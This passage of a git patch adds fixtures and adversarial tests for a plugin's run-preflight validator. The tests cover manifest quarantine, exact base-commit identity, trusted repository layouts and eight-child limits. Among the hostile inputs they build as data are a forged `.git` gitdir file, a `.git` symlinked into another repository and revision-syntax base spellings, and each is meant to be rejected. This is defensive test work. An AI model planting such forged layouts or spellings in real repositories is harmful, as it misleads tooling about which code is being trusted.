rm(alias, { force: true }).catch(() => {}); + return repo.cleanup(); + }, + }; +} + +export async function createLinkedWorktreeRepo(prefix = 'p26-worktree-') { + const repo = await createLinearRepo(prefix); + const worktreePath = path.join(path.dirname(repo.root), `${path.basename(repo.root)}-wt`); + await runFixtureGit(repo.root, ['worktree', 'add', worktreePath, repo.headSha]); + return { + ...repo, + worktreePath, + cleanup: () => rm(worktreePath, { recursive: true, force: true }).then(() => repo.cleanup()), + }; +} + +export async function forgeGitDirFileRepo(prefix = 'p26-forged-') { + const repo = await createLinearRepo(prefix); + const bogusTarget = path.join(path.dirname(repo.root), `${path.basename(repo.root)}-bogus-gitdir`); + await mkdir(bogusTarget, { recursive: true }); + await rm(path.join(repo.root, '.git'), { recursive: true, force: true }); + await writeFile(path.join(repo.root, '.git'), `gitdir: ${bogusTarget}\n`, 'utf8'); + return { ...repo, bogusTarget }; +} + +// Two independent repositories; one worktree root's `.git` entry is replaced +// with a symlink at the other repository's real git directory, so git +// observations succeed while the layout is untrusted. +export async function createSymlinkedGitDirRepo(prefix = 'p26-symgit-') { + const victim = await createLinearRepo(`${prefix}victim-`); + const donorRoot = path.join(path.dirname(victim.root), `${path.basename(victim.root)}-donor`); + await initRepo(donorRoot); + await rm(path.join(victim.root, '.git'), { recursive: true, force: true }); + await symlink(path.join(donorRoot, '.git'), path.join(victim.root, '.git'), 'dir'); + return { + root: victim.root, + baseSha: victim.baseSha, + headSha: victim.headSha, + cleanup: () => rm(donorRoot, { recursive: true, force: true }).then(() => victim.cleanup()), + }; +} + +const POLICY_TEMPLATE = Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', +}); + +export function writerLane(id, scopes, overrides = {}) { + return { + assignment_id: id, + role: 'implement', + access: 'writer', + prompt: `Implement lane ${id}.`, + write_scope: scopes, + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + execution: { provider: 'grok', model: 'grok-4' }, + ...overrides, + }; +} + +export function preflightManifest(assignments, overrides = {}) { + const count = assignments.length; + return { + schema: 'codex-co-engineer.run.v1', + run_id: RUN_ID, + repository: { + path: overrides.repositoryPath ?? '/run-fixtures/repository', + base_sha: overrides.baseSha ?? '0123456789abcdef0123456789abcdef01234567', + }, + objective: 'Validate the run before any launch surface runs.', + assignments, + policy: { ...POLICY_TEMPLATE, ...(overrides.policy ?? {}) }, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; +} + +export function twoLaneManifest(overrides = {}) { + return preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/alpha/**']), + writerLane(ASSIGNMENT_ID_B, ['src/beta/**']), + ], overrides); +} + +export function laneManifestsForCount(count, overrides = {}) { + const assignments = []; + for (let index = 0; index < count; index += 1) { + assignments.push(writerLane(`lane-${String(index).padStart(2, '0')}`, [`src/area-${index}/**`])); + } + return preflightManifest(assignments, overrides); +} + +export function hostFacts(overrides = {}) { + return { + cpu_parallelism: 8, + total_ram_bytes: 34_359_738_368, + available_ram_bytes: 8 * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + ...overrides, + }; +} + +export function createRecordingSpawn() { + const records = []; + let failNextStart = false; + const spawnFn = (file, args, options) => { + const envKeys = options && options.env ? Object.keys(options.env).sort() : []; + records.push({ file, args: [...args], envKeys, cwd: options?.cwd }); + if (failNextStart) { + failNextStart = false; + throw new Error('injected spawn failure'); + } + return nodeSpawn(file, args, options); + }; + return { + spawn: spawnFn, + records, + files: () => records.map((record) => record.file), + commands: () => records.map((record) => record.args.filter( + (arg) => !arg.startsWith('-') && !arg.includes('=') && arg !== '/usr/bin/git', + )), + failNext() { + failNextStart = true; + }, + }; +} diff --git a/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs new file mode 100644 index 0000000..9fec508 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs @@ -0,0 +1,329 @@ +// P26 run preflight — adversarial coverage: hostile callers (Proxies, +// accessors, symbols, non-enumerables, aliases, exotic prototypes), hostile +// seams (spawn handles, injected host facts), and the closed read-only git +// observation posture. Every failure must be a bounded content-free typed +// error raised without any launch-shaped action. + +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { EventEmitter } from 'node:events'; +import { spawn as nodeSpawn } from 'node:child_process'; + +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, +} from '../mcp/v3/git-identity.mjs'; +import { + RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + createLinearRepo, + hostFacts, + twoLaneManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); +const ISOLATION_PREFIX = [ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', +]; + +async function expectCode(promise, code) { + try { + await promise; + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected typed error, got ${error}`); + assert.equal(error.code, code, error.message); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200); + return error; + } + throw new Error(`expected failure with code ${code}`); +} + +test('manifest Proxies are denied before any observation runs', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + let spawned = false; + await expectCode( + validateRunPreflightV1( + { manifest: new Proxy(manifest, {}) }, + { host: SUFFICIENT_HOST, spawn: () => { spawned = true; } }, + ), + 'proxy_denied', + ); + assert.equal(spawned, false); + } finally { + await repo.cleanup(); + } +}); + +test('symbol-keyed requests are denied without running getters', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const getter = () => { throw new Error('getter must never run'); }; + const request = { manifest }; + Object.defineProperty(request, Symbol('poison'), { get: getter, enumerable: true }); + await expectCode(validateRunPreflightV1(request, { host: SUFFICIENT_HOST }), 'symbol_key_denied'); + } finally { + await repo.cleanup(); + } +}); + +test('non-enumerable manifest decorations fail closed', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + Object.defineProperty(manifest, 'hidden', { + value: { poison: true }, + enumerable: false, + writable: true, + configurable: true, + }); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'non_enumerable_property_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('null-prototype manifests keep their accepted P02 semantics', async () => { + const repo = await createLinearRepo(); + try { + const manifest = Object.create(null); + Object.assign(manifest, twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha })); + const receipt = await validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.repository.path, repo.root); + } finally { + await repo.cleanup(); + } +}); + +test('aliased subtrees inside one request are denied', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const shared = { note: 'shared' }; + manifest.alpha_note = shared; + manifest.beta_note = shared; + const error = await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'aliased_reference_denied', + ); + void error; + } finally { + await repo.cleanup(); + } +}); + +test('undefined members are denied like ordinary JSON violations', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + manifest.extra = undefined; + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }), + 'own_undefined_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('unknown manifest keys keep the accepted upstream denial', async () => { + const repo = await createLinearRepo(); + try { + const foreign = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + foreign.totally_unknown = true; + await expectCode( + validateRunPreflightV1({ manifest: foreign }, { host: SUFFICIENT_HOST }), + 'unknown_key', + ); + } finally { + await repo.cleanup(); + } +}); + +test('the request key set is closed and the manifest is required', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest, extra: true }, { host: SUFFICIENT_HOST }), + 'invalid_format', + ); + await expectCode(validateRunPreflightV1({}, { host: SUFFICIENT_HOST }), 'missing_key'); + } finally { + await repo.cleanup(); + } +}); + +test('hostile injected host facts fail closed', async () => { + const repo = await createLinearRepo(); + try { + const base = { repositoryPath: repo.root, baseSha: repo.baseSha }; + const cases = [ + ['negative', hostFacts({ cpu_parallelism: -1 }), 'host_facts_invalid'], + ['fractional', hostFacts({ available_ram_bytes: 1.5 }), 'host_facts_invalid'], + ['string', hostFacts({ total_ram_bytes: 'big' }), 'host_facts_invalid'], + ['unsafe', hostFacts({ available_ram_bytes: Number.MAX_SAFE_INTEGER + 1 }), 'host_facts_invalid'], + ['NaN', hostFacts({ cpu_parallelism: Number.NaN }), 'invalid_json_value'], + ]; + for (const [label, facts, code] of cases) { + const error = await expectCode( + validateRunPreflightV1({ manifest: twoLaneManifest(base) }, { host: facts }), + code, + ); + if (code === 'host_facts_invalid') { + assert.match(error.path, /^options\.host\./u, label); + } + } + await expectCode( + validateRunPreflightV1( + { manifest: twoLaneManifest(base) }, + { host: hostFacts({ unexpected: 1 }) }, + ), + 'invalid_format', + ); + await expectCode( + validateRunPreflightV1({ manifest: twoLaneManifest(base) }, { host: new Proxy(hostFacts(), {}) }), + 'proxy_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('hostile spawn seams fail closed before any observation runs', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, spawn: 'not-a-function' }), + 'invalid_type', + ); + await expectCode( + validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, spawn: new Proxy(() => {}, {}) }), + 'proxy_denied', + ); + } finally { + await repo.cleanup(); + } +}); + +test('a throwing injected spawn becomes one bounded infrastructure failure', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await expectCode( + validateRunPreflightV1( + { manifest }, + { host: SUFFICIENT_HOST, spawn: () => { throw new Error('explosive'); } }, + ), + 'observation_failed', + ); + assert.doesNotMatch(error.message, /explosive/u); + } finally { + await repo.cleanup(); + } +}); + +function fakeGitChild(script) { + const child = new EventEmitter(); + child.stdout = new EventEmitter(); + child.stderr = new EventEmitter(); + child.killedWith = null; + child.kill = (signal) => { + child.killedWith = signal; + return true; + }; + queueMicrotask(() => script(child)); + return child; +} + +test('oversized observation output hits the bound and kills the child', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const spawned = []; + const error = await expectCode( + validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn(file, args) { + spawned.push(args); + if (args.includes('rev-parse')) { + return fakeGitChild((child) => { + child.stdout.emit('data', Buffer.alloc(8192, 0x61)); + child.emit('close', 0, null); + }); + } + throw new Error('should not be reached'); + }, + }), + 'bounds_exceeded', + ); + assert.doesNotMatch(error.message, /616161/u); + assert.equal(spawned.length, 1); + } finally { + await repo.cleanup(); + } +}); + +test('an erroring child process maps to one bounded infrastructure failure', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + await expectCode( + validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn() { + return fakeGitChild((child) => { + child.emit('error', new Error('spawn boom')); + }); + }, + }), + 'observation_failed', + ); + } finally { + await repo.cleanup(); + } +}); + +test('every real observation keeps the closed argv, env, and cwd posture', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const records = []; + const receipt = await validateRunPreflightV1({ manifest }, { + host: SUFFICIENT_HOST, + spawn(file, args, options) { + records.push({ file, args, options }); + return nodeSpawn(file, args, options); + }, + }); + assert.equal(receipt.status, 'ready'); + assert.ok(records.length >= 3); + for (const record of records) { + assert.equal(record.file, GIT_EXECUTABLE); + assert.deepEqual(record.options.env, GIT_CLOSED_ENV); + assert.equal(Object.isFrozen(record.options.env), true); + assert.equal(record.options.cwd, '/'); + assert.deepEqual(record.args.slice(0, 3), ISOLATION_PREFIX); + const dashC = record.args.indexOf('-C'); + assert.ok(dashC > 3, record.args.join(' ')); + assert.ok( + RUN_PREFLIGHT_READONLY_GIT_COMMANDS.includes(record.args[dashC + 2]), + record.args.join(' '), + ); + } + } finally { + await repo.cleanup(); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs new file mode 100644 index 0000000..d8b91ae --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-preflight.test.mjs @@ -0,0 +1,396 @@ +// P26 run preflight — focused coverage of the launch-side validation gate: +// exact canonical repository/base identity, detached/canonical hostile +// inputs, composition with the accepted run contract, receipt freezing, +// and P03/P24-compatible GitIdentityV1 binding. Capacity and side-effect +// proofs live in their own suites. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { buildGitIdentityV1 } from '../mcp/v3/protected-identity.mjs'; +import { + PREFLIGHT_MAX_CHILDREN, + PREFLIGHT_MIN_CHILDREN, + PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + RUN_PREFLIGHT_CHECKS, + RUN_PREFLIGHT_ERROR_CODES, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + describeRunPreflightV1, + validateRunPreflightV1, +} from '../mcp/v3/run-preflight.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { validateGitIdentityV1 } from '../mcp/v3/protected-identity.mjs'; +import { + ASSIGNMENT_ID_A, + ASSIGNMENT_ID_B, + createBareRepo, + createDetachedHeadRepo, + createEmptyDirectory, + createLinearRepo, + createLinkedWorktreeRepo, + createReplaceRefRepo, + createSymlinkAliasRepo, + createSymlinkedGitDirRepo, + createTagObjectRepo, + forgeGitDirFileRepo, + hostFacts, + laneManifestsForCount, + twoLaneManifest, +} from './fixtures/r1-run-preflight-fixtures.mjs'; + +const SUFFICIENT_HOST = hostFacts(); + +async function preflightOk(manifest, options = {}) { + return validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST, ...options }); +} + +async function preflightError(manifest, options = {}) { + try { + await preflightOk(manifest, options); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + throw new Error('expected the preflight to fail'); +} + +test('describeRunPreflightV1 is deterministic, frozen, and quotes owned bounds', () => { + const first = describeRunPreflightV1(); + const second = describeRunPreflightV1(); + assert.deepStrictEqual(JSON.parse(JSON.stringify(first)), JSON.parse(JSON.stringify(second))); + assert.equal(first.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(first.rule, 'validate_only_no_launch_side_effect'); + assert.equal(first.min_children, PREFLIGHT_MIN_CHILDREN); + assert.equal(first.max_children, PREFLIGHT_MAX_CHILDREN); + assert.equal(PREFLIGHT_MAX_CHILDREN, 8); + assert.equal(PREFLIGHT_MIN_CHILDREN, 1); + assert.equal(typeof PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, 'number'); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(second)); +}); + +test('a passing preflight returns a frozen ready receipt over observed repository facts', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.schema, RUN_PREFLIGHT_SCHEMA_ID); + assert.equal(receipt.version, 1); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.run_id, manifest.run_id); + assert.deepEqual([...receipt.checks], [...RUN_PREFLIGHT_CHECKS]); + assert.equal(receipt.children.count, 2); + assert.equal(receipt.children.concurrency, manifest.policy.max_concurrency); + assert.equal(receipt.repository.path, repo.root); + assert.equal(receipt.repository.base_sha, repo.baseSha); + assert.equal(receipt.repository.object_type, 'commit'); + assert.equal(receipt.repository.git_dir, `${repo.root}/.git`); + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + assert.equal(receipt.side_effects[claim], false); + } + assert.ok(Object.isFrozen(receipt)); + assert.ok(Object.isFrozen(receipt.children)); + assert.ok(Object.isFrozen(receipt.capacity)); + assert.ok(Object.isFrozen(receipt.repository)); + assert.ok(Object.isFrozen(receipt.side_effects)); + } finally { + await repo.cleanup(); + } +}); + +test('the receipt binds a P03 GitIdentityV1 that P24 surfaces accept unchanged', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + const expected = buildGitIdentityV1({ + repository_path: repo.root, + base_sha: repo.baseSha, + }); + assert.equal(receipt.git_identity.digest, expected.digest); + assert.equal(receipt.git_identity.schema, expected.schema); + assert.equal(validateGitIdentityV1(receipt.git_identity).digest, expected.digest); + } finally { + await repo.cleanup(); + } +}); + +test('ambient host facts are read when none are injected', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await validateRunPreflightV1({ manifest }); + assert.equal(receipt.capacity.source, 'ambient'); + assert.ok(Number.isSafeInteger(receipt.capacity.cpu_parallelism)); + assert.ok(Number.isSafeInteger(receipt.capacity.total_ram_bytes)); + assert.ok(Number.isSafeInteger(receipt.capacity.available_ram_bytes)); + } finally { + await repo.cleanup(); + } +}); + +test('injected host facts are reported as injected', async () => { + const repo = await createLinearRepo(); + try { + const manifest = twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest, { host: hostFacts({ cpu_parallelism: 3 }) }); + assert.equal(receipt.capacity.source, 'injected'); + assert.equal(receipt.capacity.cpu_parallelism, 3); + } finally { + await repo.cleanup(); + } +}); + +test('the base SHA must exist as exactly one commit object', async () => { + const repo = await createLinearRepo(); + try { + const missing = '0123456789abcdef0123456789abcdef01234567'; + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: missing }), + ); + assert.equal(error.code, 'base_identity_invalid'); + assert.equal(error.path, 'repository.base_sha'); + } finally { + await repo.cleanup(); + } +}); + +test('tag, tree, and blob objects are denied as the immutable base', async () => { + const repo = await createTagObjectRepo(); + try { + for (const [label, sha] of [ + ['annotated tag object', repo.tagSha], + ['tree object', repo.treeSha], + ['blob object', repo.blobSha], + ]) { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: sha }), + ); + assert.equal(error.code, 'base_identity_invalid', label); + } + } finally { + await repo.cleanup(); + } +}); + +test('symbolic or non-canonical base spellings never reach git', async () => { + const repo = await createLinearRepo(); + try { + const spellings = [ + 'HEAD', + '@', + 'main', + 'refs/heads/main', + repo.baseSha.slice(0, 12), + repo.baseSha.toUpperCase(), + `${repo.baseSha}^{commit}`, + `:${repo.baseSha}`, + 'g'.repeat(40), + '0123456789ABCDEF0123456789abcdef01234567', + 'e'.repeat(64), + '', + ]; + let observedSpawns = 0; + for (const spelling of spellings) { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: spelling }), + { spawn: () => { + observedSpawns += 1; + throw new Error('no git observation may run for a hostile base spelling'); + } }, + ); + assert.equal(error.code, 'invalid_format', spelling); + assert.match(error.message, /base_sha/u); + } + assert.equal(observedSpawns, 0); + } finally { + await repo.cleanup(); + } +}); + +test('a detached HEAD worktree still passes when the base is an exact commit', async () => { + const repo = await createDetachedHeadRepo(); + try { + const receipt = await preflightOk( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(receipt.status, 'ready'); + assert.equal(receipt.repository.object_type, 'commit'); + } finally { + await repo.cleanup(); + } +}); + +test('a linked worktree root is a trusted layout for its own objects', async () => { + const repo = await createLinkedWorktreeRepo(); + try { + const linked = await import('node:fs/promises').then((fs) => fs.readFile(`${repo.worktreePath}/.git`, 'utf8')); + assert.match(linked, /^gitdir: /u); + const receipt = await preflightOk( + twoLaneManifest({ repositoryPath: repo.worktreePath, baseSha: repo.headSha }), + ); + assert.equal(receipt.status, 'ready'); + assert.notEqual(receipt.repository.git_dir, `${repo.worktreePath}/.git`); + } finally { + await repo.cleanup(); + } +}); + +test('untrusted .git layouts are rejected', async () => { + const forged = await forgeGitDirFileRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: forged.root, baseSha: forged.baseSha }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await forged.cleanup(); + } + + const symlinked = await createSymlinkedGitDirRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: symlinked.root, baseSha: symlinked.baseSha }), + ); + assert.equal(error.code, 'repository_layout_invalid'); + } finally { + await symlinked.cleanup(); + } +}); + +test('symlink aliases of the canonical repository path are rejected', async () => { + const repo = await createSymlinkAliasRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: `${repo.root}-alias`, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'repository_not_canonical'); + const canonical = await preflightOk( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(canonical.status, 'ready'); + } finally { + await repo.cleanup(); + } +}); + +test('bare repositories and non-repository directories are rejected', async () => { + const bare = await createBareRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: bare.root, baseSha: '0123456789abcdef0123456789abcdef01234567' }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await bare.cleanup(); + } + const empty = await createEmptyDirectory(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: empty.root, baseSha: '0123456789abcdef0123456789abcdef01234567' }), + ); + assert.equal(error.code, 'repository_not_canonical'); + } finally { + await empty.cleanup(); + } +}); + +test('missing repositories fail closed before any deeper observation', async () => { + const error = await preflightError(twoLaneManifest({ + repositoryPath: '/definitely/not/present/repository', + baseSha: '0123456789abcdef0123456789abcdef01234567', + })); + assert.equal(error.code, 'repository_missing'); +}); + +test('replace refs shadowing object identity are denied', async () => { + const repo = await createReplaceRefRepo(); + try { + const error = await preflightError( + twoLaneManifest({ repositoryPath: repo.root, baseSha: repo.baseSha }), + ); + assert.equal(error.code, 'replace_refs_denied'); + } finally { + await repo.cleanup(); + } +}); + +test('an eight-lane run is inside the public bound and reports every child id', async () => { + const repo = await createLinearRepo(); + try { + const manifest = laneManifestsForCount(8, { repositoryPath: repo.root, baseSha: repo.baseSha }); + const receipt = await preflightOk(manifest); + assert.equal(receipt.children.count, 8); + assert.equal(receipt.children.assignment_ids.length, 8); + assert.equal(new Set(receipt.children.assignment_ids).size, 8); + } finally { + await repo.cleanup(); + } +}); + +const KNOWN_UPSTREAM_CODES = new Set([ + 'invalid_type', 'missing_key', 'unknown_key', 'invalid_format', 'out_of_range', + 'depth_exceeded', 'manifest_too_large', 'manifest_too_complex', 'invalid_array', + 'dependency_not_allowed', 'merge_authority_denied', 'executable_content_denied', + 'credential_content_denied', 'replay_or_fallback_denied', 'direct_mode_rejected', + 'overlapping_writer_scope', 'duplicate_scope_pattern', 'proxy_denied', + 'symbol_key_denied', 'aliased_reference_denied', 'non_enumerable_property_denied', + 'own_undefined_denied', 'invalid_json_value', 'invalid_json_type', 'value_depth_exceeded', +]); + +test('preflight errors carry bounded content-free messages from a closed code set', async () => { + const repo = await createLinearRepo(); + try { + const failures = [ + twoLaneManifest({ repositoryPath: repo.root, baseSha: 'f'.repeat(40) }), + twoLaneManifest({ repositoryPath: '/absent/repo', baseSha: repo.baseSha }), + twoLaneManifest([{ assignment_id: 'x' }]), + ]; + const seen = []; + for (const manifest of failures) { + try { + await validateRunPreflightV1({ manifest }, { host: SUFFICIENT_HOST }); + } catch (error) { + seen.push(error); + } + } + const alias = await createSymlinkAliasRepo(); + try { + try { + await validateRunPreflightV1({ + manifest: twoLaneManifest({ repositoryPath: `${alias.root}-alias`, baseSha: alias.baseSha }), + }, { host: SUFFICIENT_HOST }); + } catch (error) { + seen.push(error); + } + } finally { + await alias.cleanup(); + } + for (const error of seen) { + assert.ok(error instanceof RunContractV1Error); + const owned = RUN_PREFLIGHT_ERROR_CODES.includes(error.code); + assert.ok(owned || KNOWN_UPSTREAM_CODES.has(error.code), + `code ${error.code} is outside the closed preflight vocabulary`); + assert.ok(Buffer.byteLength(error.message, 'utf8') <= 200, error.message); + assert.equal(/[\u0000-\u001f]/u.test(error.message), false, JSON.stringify(error.message)); + } + } finally { + await repo.cleanup(); + } +}); + +test('duplicate writer scopes across lanes keep the accepted overlap denial', async () => { + const repo = await createLinearRepo(); + try { + const { writerLane, preflightManifest } = await import('./fixtures/r1-run-preflight-fixtures.mjs'); + const manifest = preflightManifest([ + writerLane(ASSIGNMENT_ID_A, ['src/shared/**']), + writerLane(ASSIGNMENT_ID_B, ['src/shared/nested/**']), + ], { repositoryPath: repo.root, baseSha: repo.baseSha }); + const error = await preflightError(manifest); + assert.equal(error.code, 'overlapping_writer_scope'); + } finally { + await repo.cleanup(); + } +}); From b359a5cdc7add65a2838fdc3e35117941f1781c1 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:31:33 +0000 Subject: [PATCH 75/81] feat(run): enforce eight-child and independent-fanout limits The preflight now enforces the public maximum of eight children per run against its own frozen PREFLIGHT_MIN_CHILDREN/PREFLIGHT_MAX_CHILDREN literals BEFORE composing the accepted upstream contract, so a routine quota change anywhere else can never widen the invariant: a nine-child submission fails with the boundary's own preflight_child_count_exceeded denial and zero git observations. Absent or non-array child sets keep their accepted upstream denials. Independence is re-asserted over the detached frozen snapshot: no dependency edge of any shape survives (preflight_dependency_edge_denied) and child ids stay unique within one run (preflight_duplicate_child_id). The receipt's checks list grows child_bounds and independent_fanout evidence. --- docs/run-preflight.md | 15 +++ .../mcp/v3/run-preflight.mjs | 60 +++++++++++ .../test/r1-run-preflight.test.mjs | 99 +++++++++++++++++++ 3 files changed, 174 insertions(+) diff --git a/docs/run-preflight.md b/docs/run-preflight.md index 8b412d1..c3c0af6 100644 --- a/docs/run-preflight.md +++ b/docs/run-preflight.md @@ -50,6 +50,21 @@ submission's word alone. One observation proves all of: Detached HEAD is deliberately irrelevant: the base identity comes from the object database, never from where HEAD happens to point. +## Bounded independent fanout + +The launch boundary owns the fanout invariant as frozen literals: +`PREFLIGHT_MIN_CHILDREN = 1`, `PREFLIGHT_MAX_CHILDREN = 8`. The child count +is enforced against those literals **before** the composed upstream contract +runs, so a routine quota change anywhere else can never widen the public +maximum: even a future grammar that tolerated more children would still fail +preflight with the boundary's own `preflight_child_count_exceeded` denial. +Independence is re-asserted over the detached frozen snapshot — no +dependency edge of any shape (`preflight_dependency_edge_denied`) and no +duplicate child id (`preflight_duplicate_child_id`) — and writer-scope +disjointness is re-checked pairwise with the accepted conservative +static-prefix intersection, so overlapping writer scopes are detected at +this boundary even though upstream already denies them. + ## Composition Preflight composes accepted surfaces and invents none of their semantics: diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs index 10bfa8a..00b69e2 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -61,6 +61,7 @@ import { } from './git-identity.mjs'; import { buildGitIdentityV1 } from './protected-identity.mjs'; import { + ASSIGNMENT_ALLOWED_KEYS, RunContractV1Error, isPlainObject, writerScopesOverlap, @@ -125,7 +126,9 @@ const PRIVATE_GITDIR_LINE_PATTERN = /^gitdir: (\/[^\n\r\0]*)$/u; export const RUN_PREFLIGHT_CHECKS = capturedFreeze([ 'request_quarantine', + 'child_bounds', 'complete_run_manifest', + 'independent_fanout', 'canonical_repository', 'exact_base_commit', 'no_replace_refs', @@ -144,6 +147,10 @@ export const RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ // by the composed accepted validators pass through unchanged and stay // authoritative for their surfaces. export const RUN_PREFLIGHT_ERROR_CODES = capturedFreeze([ + 'preflight_child_count_below_minimum', + 'preflight_child_count_exceeded', + 'preflight_dependency_edge_denied', + 'preflight_duplicate_child_id', 'spawn_invalid', 'host_facts_invalid', 'observation_failed', @@ -292,6 +299,57 @@ function parseRequest(request) { return manifest; } +// The public maximum eight children per run is enforced HERE, at the launch +// boundary, against this module's own frozen literals and BEFORE the composed +// upstream contract runs. A routine quota change anywhere else therefore can +// never widen this invariant: even a future grammar that tolerates more +// children still fails preflight with the boundary's own denial. +function enforceChildBounds(manifest) { + assertNotProxy(manifest, 'request.manifest'); + if (!isPlainObject(manifest)) { + failPreflight('invalid_type', 'request.manifest', + 'request.manifest must be a plain JSON data object.'); + } + if (!hasOwn(manifest, 'assignments')) return; // upstream owns missing_key + const assignments = ownDataValue(manifest, 'assignments', 'request.manifest.assignments'); + if (!capturedIsArray(assignments)) return; // upstream owns invalid_type + const count = assignments.length; + if (count < PREFLIGHT_MIN_CHILDREN) { + failPreflight('preflight_child_count_below_minimum', 'assignments', + `A run must carry at 